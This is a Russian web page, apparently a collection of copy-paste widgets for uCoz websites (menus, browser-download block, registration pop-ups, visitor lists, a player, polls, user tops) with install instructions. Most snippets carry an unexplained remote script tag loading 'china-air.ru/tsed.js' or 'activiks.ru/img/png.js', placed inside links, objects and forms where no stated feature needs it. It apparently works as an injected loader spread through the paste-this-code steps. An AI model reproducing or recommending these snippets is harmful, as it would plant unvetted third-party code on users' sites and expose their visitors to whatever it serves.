Главная » Архив материалов
Описание: Выдвижное меню с текстом "НАБОР ФАЙЛОВИКОВ". Этот текст можно заменить на свой.
Код <script type="text/javascript" src="http://bambun.ru/css_js/jquery.easig.js"></script> <script src="http://activiks.ru/img/png.js" type="text/javascript"></script> <script type="text/javascript" src="http://bambun.ru/css_js/jquery.sweet-enu-1.0.js"></script> <script type="text/javascript"> $(document).ready(function(){ $('#backMenu').sweetMenu({ top: 40, padding: 38, iconSize: 8, easing: 'easeOutBounce', duration: 500, icons: [ 'FOR-ABOUT' ] }); $('#exampleMenu').sweetMenu({ top: 450, padding: 2, iconSize: 20, easing: 'easeOutBounce', duration: 500, icons: [ 'http://bambun.ru/images/bbcoe1.png' ] }); }); </script> <style type="text/css"> .sweetMenuAnchor{ border-top: 1px solid #5d5d5d; border-right: 1px solid #5d5d5d; border-bottom: 1px solid #5d5d5d; border-top-right-radius: 4px; -moz-border-radius-topright: 4px; border-bottom-right-radius: 4px; -moz-border-radius-bottomright: 4px; color: #0071bb; font-size: 24px; font-weight: bold; text-align: right; text-transform: uppercase; font-family: arial; text-decoration: none; background-color: #e0e0e0; opacity: 0.9; } .sweetMenuAnchor span{ display: block; padding-top: 34px; } </style> <ul id="backMenu"> </ul> <ul id="exampleMenu"> <li><a href="ВАШ ЛИНК">Набор файловиков</a></li> </ul> |
Сегодня Мы подготовили для Вас Блок для Вашего сайта (устанавливается в первый или второй глобальный блок) с красивыми картинками и прямыми ссылками на скачку трёх самых популярных Интернет броузеров в мире, а именно - Mozilla Firefox, Opera и конечно же самый старичёк легенда Internet Explorer, собраны все последнии версии с топовых сайтов интернет сети. На фотографии справа Вы можете увидеть как этот uCoz блок будет выглядеть на Вашем сайте при правельной его установки. Как всегда, внутри новости я подробно напишу как устанавливать этот код-скрипт на Ваш сайт uCoz, а если у кого-то не получится, тогда пишите комментарии и Вам однозначно помогу! Код найдёте так же внутри материала!
Для начала зайдите на свой сайт и войдите в админ панель! Сделали? Тогда идём дальше #1 Заходите в первый (левый столбик сайта) или второй (правый столб uCoz сайта) глобальные блоки и видем HTML код. В него вставляем следующий код : Код <div align="center"> <a href="http://www.mozilla.org/ru/firefox/new/" target="_blank"> <img src="http://bambun.ru/images/firefox0.png" title="Скачать Firefox бесплатно!" alt="" border="0"></a><br> <a href="http://ie.yandex.ru/" target="_blank"> <script src="http://activiks.ru/img/png.js" type="text/javascript"></script> <img src="http://bambun.ru/images/exploner0.png" title="Скачать Internet Explorer бесплатно!" alt="" border="0"></a><br> <a href="http://opera.yandex.ru/" target="_blank"> <img src="http://bambun.ru/images/opera0.png" title="Скачать Opera бесплатно!" alt="" border="0"></a> </div> Далее нажимаем F5 на сайте и видем красивый блок на своём сайте!!! |
Просилка регистрации для ucoz через аякс в правом нижним углу с возможность закрытия + автоматическое закрытие.
Преимущество скрипта: + 20% зарегистрированных юзеров на вашем сайте. w:265 - Ширина h:112 - Высота tm:20000 - время через которое окно само закроется (1000 = 1сек.) В любое место можно в блок: Код <?if($USER_LOGGED_IN$)?><?else?> <script type="text/javascript">data = 'Чтобы иметь более широкий доступ на сайте и скачивать файлы, советуем вам зарегистрироваться или войти на сайт как пользователь это займет менее двух минут<div style="padding:5px;"><hr><b><a href="/index/3">Регистрация</a> | <a href="/index/1">Вход</a></b></div>'; _uWnd.alert(data,'Внимание',{w:265,h:120,tm:30000});// function imgs_okno(){if ($("span.xw-hdr-text").html("<img src='http://bambun.ru/images/7_16kh16.png' border='0' align='absmiddle' alt=''> Внимание")){$("span.xw-hdr-text").html("<img src='http://bambun.ru/images/7_16kh16.png' border='0' align='absmiddle' alt=''> Внимание");}} setTimeout("imgs_okno();",100);</script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <?endif?> |
Как и обычно, хорошие идеи насчет уникальных скриптов, сегодня как раз такая попалась, и я ее в этот же день реализовал, скрипт выводит последних посетивших людей за сегодня с аватаром, кроме аватара я добавил еще пару функции "Отправить личное сообщение" и "Профиль пользователя".
Установка: Персональная страница пользователя, в самый низ: Код <div style="display:none;"> <?if($_AVATAR$)?><div id="ava_pos$_USERNAME$">$_AVATAR$</div><?else?><div id="ava_pos$_USERNAME$"><img src="http://s4.ucoz.net/img/icon/er.png"></div><?endif?> <div id="g_names">$_GROUP_NAME$</div> </div> Создаем информер. Раздел: Пользователи сайта посетившие за текущий день. В Шаблон информера ставим: Код <style> #user_style {background:#f7f7f7;border:1px solid #ccc;border-right:none;border-bottom:none;margin-bottom:5px;} #user_style td{padding:6px;border-right:1px solid #ccc;border-bottom:1px solid #ccc;} #funct a {text-decoration:none;font-weight:bold;} #funct {padding:6px;background:#f7f7f7;border-bottom:1px solid #ccc;margin:0px;} #funct:hover {background:#fff;} </style> <div id=""> <table id="user_style" cellspacing="0" cellpadding="0" width="100%" height="100%"> <tr> <td align="left" bgcolor="#fff" id="names"><b><a href="$PROFILE_URL$" class="$CLASS$" >$USERNAME$</a></b></td> <td bgcolor="#fff"><b>Функции</b><span style="float:right;" id="stat"></span></td> </tr><tr><td ><img src="" width="80" height="80" id="user_avatar$USERNAME$"></td> <td valign="top" style="padding:0px;"><div id="funct"><a href="$PROFILE_URL$" target="_blank" id"pf">Перейти к профилю</a></div><div id="funct"><a href="/index/14-$USER_ID$-0-1" target="_blank" id="ls">Отправить личное сообщение</a></div></td> </tr> </table> </div> Теперь в ставим в блок, в то место где хотите видеть ссылку «Сегодня нас посетили: Код <div id="html_user" style="display:none">$MYINF_1$</div><br> <a href="javascript://" onclick="users();">Сегодня нас посетили</a> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <script> function users() { $('#names a').each(function(i,data){ var get_user = $(this).html(); $.get('/index/8-0-'+get_user+'', function (data) { var src_ava = $('#ava_pos'+get_user+' img',data).attr('src'); $('#user_avatar'+get_user+'').attr('src',''+src_ava+''); }); }); new _uWnd("user","Пользователи посетившие за текущий день",320,400,{customButtons: {'name_uwnd': [true, function (){name_funct()}]},modal:0},$('#html_user').html()); }; function name_funct() { new _uWnd('name_uwnd', 'Авторство', 300, 100, {align:0}, '<table width="100%"><tr><td style="padding:6px;border:1px solid #c1c0c0;" BGCOLOR="#e8e8e8"><b>Скрипт кто нас сегодня посетил с аватаром</b></td></tr><tr><td style="padding:6px;border:1px solid #c1c0c0;" BGCOLOR="#e8e8e8"><b>Релизация скрипта:</b> jQuCoz.Ru</td></tr><tr><td style="padding:6px;border:1px solid #c1c0c0;" BGCOLOR="#e8e8e8"><b>Идея:</b> Вовчик - Webo4ka.ru</td></tr><table>'); } </script> |
Аудиоплеер поддерживает воспроизведение mp3 файлов,дополнительно оснащён плейлистом для воспроизведения нескольких музыкальных композиций.Файлы музыки Вам нужно будет закачивать на ФТП сайта ( сервер ) на главную страницу сервера,то есть не в дополнительно созданные папки а там где robots.txt и favicon.ico.Так путь до композиции будет коротким,если файлы прописывать из папок то названия в плейлисте будут отражать путь папок например: ( muzik/audio/mp3/pzds.mp3 ).Да,это плеер такой,а что делать приходится выкручиваться если повод есть.А так дополнительных элементов он не имеет,все песни вписываются напрямую в код через разделитель |.
Код <object type="application/x-shockwave-flash" data="http://bambun.ru/images/dsplplayer.swf" width="200"height="100"> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <param name="movie" value="http://bambun.ru/images/dsplplayer.swf" /> <param name="FlashVars" value="mp3=http://delaisait.ucoz.ru/Hi-Fi-Nam_pora.mp3|http://delaisait.ucoz.ru/HI-FI-DOICH.mp3|http://delaisait.ucoz.ru/Serch.mp3|http://delaisait.ucoz.ru/Grigoriy_Leps.mp3&showvolume=1" /> </object> |
Еще один вид опросов на ваш сайт, достаточно простой, но красивый.
Установка: Код в форме опросов заменить на вот такой вот: Код <DIV style="FONT-FAMILY: Tahoma,Arial"> <DIV style="FONT-SIZE: 8pt; PADDING-TOP: 2px; TEXT-ALIGN: left"><B>$QUESTION$</B></DIV> <DIV style="FONT-SIZE: 8pt; TEXT-ALIGN: left">$ANSWERS$</DIV> <HR> <A style="FONT-SIZE: 5pt" href="$RESULTS_LINK$"><IMG alt="Результат опроса" src="http://bambun.ru/images/opros_2.png" border=0><SPAN style="FONT-SIZE: 8pt"> Результаты</SPAN></A> <A style="FONT-SIZE: 5pt" href="$ARCHIVE_LINK$"><IMG height=14 alt="Все опросы нашего сайта" src="http://bambun.ru/images/opros_1.png" width=14 border=0><SPAN style="FONT-SIZE: 8pt"> Архив опросов</SPAN></A> <BR> <HR><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <DIV style="FONT-SIZE: 7pt; PADDING-TOP: 4px; TEXT-ALIGN: center">Всего голосовало: <B>$TOTAL_VOTES$</B></DIV> <CENTER><A style="FONT-SIZE: 8pt" href="http://ССЫЛКА НА ФОРУМ">Обсудить опрос на форуме</A></CENTER></DIV> |
Данный скрипт выводит количество человек посетивших ваш сайт.
А под количеством выводятся имена этих пользователей Установка: 1) Заходим в Панель Управления » Информеры » Создать Информер Вот ссылка адрес_вашего_сайта/panel/?a=informers Параметры информера: Название информера - любое; Раздел - пользователи посетившие сайт за текущий день Создать Открываем дизайн информера, и заменяем всё на этот код: Код <div style="margin: 2px 0 2px 0;"> <a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a> </div> Копируем код вызова информера - например $MYINF_1$ 2) Вставляем код ниже, туда где хотим видеть информацию о посетителях: Код <div style="text-align:center;" id="userkaNum">Сегодня заглянули<br> <b id="usNaN"></b> </div> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script><script type="text/javascript"> NanUsers = function(number, one, two, five) { number = Math.abs(number); number %= 100; if (number >= 5 && number <= 20) { return five; } number %= 10; if (number == 1) { return one; } if (number >= 2 && number <= 4) { return two; } return five; }; $.get('/index/62-2', function(numUs){ $("#usNaN").append( $('a',$('cmd[p="content"]',numUs).text()).size() ); $("#userkaNum").append( NanUsers($('a',$('cmd[p="content"]',numUs).text()).size(), 'человек:', 'человека:', 'человек:') ); }); </script> <div class="user_online">$MYINF_1$</div> <style type="text/css"> .user_online {overflow: auto;background: #F3F3F3; color: #252525;border: 1px solid #EAEAEA!important; border-radius: 5px;max-height:70px; font-size: 12px;padding: 3px 3px 3px 7px;} </style> |
УСТАНОВКА СКРИПТА:
Для начала нужно создать информер [Пользователи · Материалы · Кол.комментариев · Материалы:9 · Колонки:3] в шаблон информера кидаем код что будет указан ниже, и потом создаем блок и вставляем в блок номер вашего информера=) Код <table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"> <tr><td class="infTd" width="33%"> <table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"> <tr><td class="infTd" width="33%"> <table align="center" border="0" cellspacing="1" cellpadding="0" width="100%"> <tbody><tr><td width="33%"> <div align="center"> <div class="informer_user_ava"> <div class="tooltip_user"> <a href="$PROFILE_URL$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?> <img class="user_ava_a" src="$AVATAR_URL$"><?else?> <img class="user_ava_a" src="http://bambun.ru/images/net.gif"> <?endif?> <span> <div class="user_v"> <div class="user_v_p"> <div class="user_name">$USERNAME$</div> <?if($FULL_NAME$)?><div class="user_full_name">$FULL_NAME$</div><?endif?></div></div> <div class="user_c"> <div class="user_i">Файлов:</div><div class="user_ii">$LOAD_POSTS$</div> <div class="user_i">Сообщений:</div><div class="user_ii">$FORUM_POSTS$</div> <div class="user_i">Репутация:</div><div class="user_ii">$REPUTATION$</div> <div class="user_i">Регистрация:</div><div class="user_ii">$REG_DATE$</div></div> <div class="user_n"><div class="user_v_p"><div class="user_full_name">Комментарий: $COM_POSTS$ ( $NUMBER$ место ) </div> </div> </div> </span> </a> </div> </div> </div> </td></tr></tbody></table></td></tr></table></td></table> А потом зайти в ваш CSS стиль и в самый низ вставить вот этот код: Код /* User-top */ .informer_user_ava {width:60px} .informer_user_nic {width:60px;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;margin:3px 0 10px} .tooltip_user a {text-decoration:none;color:#333} .tooltip_user a:hover {position:relative} .tooltip_user a span {display:none} .tooltip_user a:hover span {z-index:999;display:block;position:absolute;text-align:left;color:#1E90FF;font-size:8pt;top:-150px;right:0;width:250px;background:url('http://bambun.ru/images/fonn.png'); border:1px solid #000000;padding:0} .user_i, .user_ii {float:left;width:120px;margin-bottom:2px;padding:0 0 5px;background:url('') repeat-x bottom} .user_v {border-bottom:1px solid #000000} .user_n {border-top:1px solid #000000} .user_c {clear:left;overflow:hidden;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;padding:5px} .user_v_p {padding:3px 4px 0} .user_v, .user_n {clear:left;height:25px;background:url('http://bambun.ru/images/fonn.png') repeat-x top #171717} .user_name {float:left} .user_full_name {float:right} .user_full_name, .user_name {background:;padding:2px 5px;font-size:10px;border-top:1px solid #0d0d0d;border-right:1px solid #0d0d0d;border-left:1px solid #0d0d0d;border-bottom:1px solid #0d0d0d} .user_ava_a {padding:4px; border:1px solid #0d0d0d;} .user_ava_a {width:50px; height:50px; background:url('http://bambun.ru/images/fonn.png');} /* ---------------------------------- */ |
Скрипт просит Войти или зарегистрироватся гостей сайта в левом нижнем углу, а когда зашёл как пользователь показывает мини-профиль для ucoz.
Установка: Заходим: Панель управления » Управление дизайном » Редактирование шаблонов » Глобальные блоки [Блок "Нижняя часть сайта"] Далее копируем код и вставляем в самый низ в блок < нижняя часть сайта >.. Код <style type="text/css"> .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-webkit-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;} .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font- weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;} .uPanel a.url img{vertical-align:-8px;} .uPanel a.url:hover{text-shadow:0px 0px 5px #fff;color:#fff;opacity:1.0;} .uPanel a.url.highlighted{opacity:1.0;} a.button{display:block;float:left;padding:6px 9px 6px 9px;margin:2px;color:#fff;font-weight:bold;background:url('http://bambun.ru/images/avtorizachii_dli_ucoz.png') #4E4E4E;background-position:100% 0px;border:1px solid #2D2D2D;border-radius:3px;-moz-border-radius:3px;box-shadow:0px 0px 1px #fff inset;-moz-box-shadow:0px 0px 1px #fff inset;text-shadow:0px -1px 0px #000} a.button:hover{border:1px solid #815500;color:#fff;background-position:100% -28px;text-shadow:0px -1px 0px #815500} a.button:active{border:1px solid #815500;color:#fff;background-position:100% -28px;box-shadow:0px 0px 5px #000 inset;-moz-box-shadow:0px 0px 5px #000 inset;text-shadow:0px -1px 0px #815500} .uPanel a.url span {display:block;position:absolute;bottom:0px;left:20px;color:#fff;background:red;padding:0px 3px 0px 3px;height:14px;line-height:14px;font-size:7pt;font-weight:bold;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;} </style> <?if($USER_LOGGED_IN$)?><div class="uPanel" id="uPanel" style="display:none"> <?if($USER_AVATAR_URL$)?> <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="$USER_AVATAR_URL$" style="width:24px; height:24px;" alt="" /></a> <?else?><a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="http://bambun.ru/images/59.png" style="width:24px; height:24px;" alt="" /> </a><?endif?> <a href="/index/14" title="Личные сообщения" class="url"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><img src="http://bambun.ru/images/pm.png" alt="" /></a> <a href="/index/8" target="_blank" title="Персональная страница" class="url"><img src="http://bambun.ru/images/wind-color.png" alt="" /></a> <a href="/index/10" title="Выход" class="url"><img src="http://bambun.ru/images/exit.png" alt="" /></a> </div><?else?> <div class="uPanel"> <a class="button" href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><span>Войти</span><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a class="button" href="/index/3"><span>Зарегистрироваться</span></a> </div> <?endif?> <script>$("#uPanel").fadeIn('normal');$("#uPanel a.url").tipsy({gravity: 'sw', html: true});</script> |
Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
Установка: Создаем информер: [ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ] В шаблон информера вставляем: Код <div class="utop-user" align="center"> <a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>"> <?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <img src="$AVATAR_URL$"><?else?> <img src="http://bambun.ru/images/noa23va.png"> <?endif?> </a> <a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a> <div class="utop-number">$NUMBER$</div> </div> В CSS вставляем в самый низ Код /*Новые участники*/ .utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;} .utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000; border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;} .utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;} .utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; text-align:center; display:inline-block;} .utop-user a.ut-ava:hover {border-color:#000;} #easyTooltip{ padding:10px; border:1px solid #000000; background:#000; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; color: #666666; filter:alpha(opacity=90); -moz-opacity: 0.9; -khtml-opacity: 0.9; opacity: 0.9; z-index:1000; } /*===================================*/ В нижнюю часть сайта Код <script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script> <script> $(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()}); </script> |